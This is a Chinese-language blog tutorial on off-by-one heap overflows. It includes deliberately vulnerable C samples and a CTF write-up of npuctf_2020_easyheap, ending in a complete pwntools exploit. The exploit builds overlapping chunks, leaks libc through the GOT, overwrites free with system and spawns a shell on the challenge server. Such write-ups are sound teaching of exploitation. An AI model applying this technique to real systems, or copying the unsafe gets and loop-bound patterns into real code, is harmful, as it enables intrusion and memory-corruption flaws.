OFF-BY-ONE


OFF-BY-ONE


概述

Off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
  • 字符串操作不合适

第一种情况是在读入的时候没有控制好字节的读入导致多读入一个字节,那么多读入一个字节的时候覆盖了size那个位置所以导致size的覆盖,free以后就导致了堆叠了产生,在相邻的chuck中可以进行任意读写了。

int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i<=size;i++)
        ptr[i]=getchar();
    return i;
}
int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    puts("Get Input:");
    my_gets(chunk1,16);
    return 0;
}

第二种情况是进行字符串覆盖的时候造成的字符溢出,把末尾的\x00给copy到了chuck_size中,导致pre堆块的释放(本实验只对off-by-one进行介绍):

int main(void)
{
    char buffer[40]="";
    void *chunk1;
    chunk1=malloc(24);
    puts("Get Input");
    gets(buffer);
    if(strlen(buffer)==24)
        strcpy(chunk1,buffer);
    return 0;
}

实验

背景

选用buu里的npuctf_2020_easyheap作为例子,看一下ida里的内容是一道比较经典的off-by-one:

分析

Heaparray是一的dword用于记录位置和size,可以观察到edit做了一个off-by-one,我们进入gdb看一下情况,我们先申请3个chuck,然后修改chuck0去做一个溢出攻击,可以发现这个时候chuck1已经发生了堆叠,这时候我们释放chuck1就会空出一个0x40大小的chuck和一个0x20大小的chuck,同时0x40的chuck已经把0x20的chuck给覆盖了:

delete以后看一下bin的情况:

接下来我们就可以泄露出free的地址然后就可以去篡改free_got表中的地址了,然后在free的时候就会调用system(“/bin/sh”):

EXP

from pwn import *
from LibcSearcher import *
#io = process("./npuctf_2020_easyheap")
io = remote("node4.buuoj.cn",29487)
#context.log_level = 'debug'
elf = ELF("./npuctf_2020_easyheap")

def debug(cmd=""):
	gdb.attach(io,cmd)

def add(size,content):
	io.sendlineafter("Your choice :",str(1))
	io.sendlineafter("Size of Heap(0x10 or 0x20 only) : ",str(size))
	io.sendlineafter("Content:",content)

def edit(index,content):
	io.sendlineafter("Your choice :",str(2))
	io.sendlineafter("Index :",str(index))
	io.recvuntil("Content: ")
	io.send(content)

def show(index):
	io.sendlineafter("Your choice :",str(3))
	io.sendlineafter("Index :",str(index))

def delete(index):
	io.sendlineafter("Your choice :",str(4))
	io.sendlineafter("Index :",str(index))

free_got = elf.got['free']
add(0x18,'aaaa')
add(0x18,'bbbb')
add(0x18,'/bin/sh\x00')
payload1 = b'A'*0x18+b'\x41'
edit(0,payload1)
delete(1)
payload2 = b'A'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(free_got)
add(0x38,payload2)
show(1)
io.recvuntil("Content : ")
free_addre = u64(io.recvuntil("\x7f").ljust(8,b'\x00'))
libc = LibcSearcher('free',free_addre)
system_addre = free_addre-libc.dump("free")+libc.dump("system")
edit(1,p64(system_addre))
delete(2)
io.interactive()


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录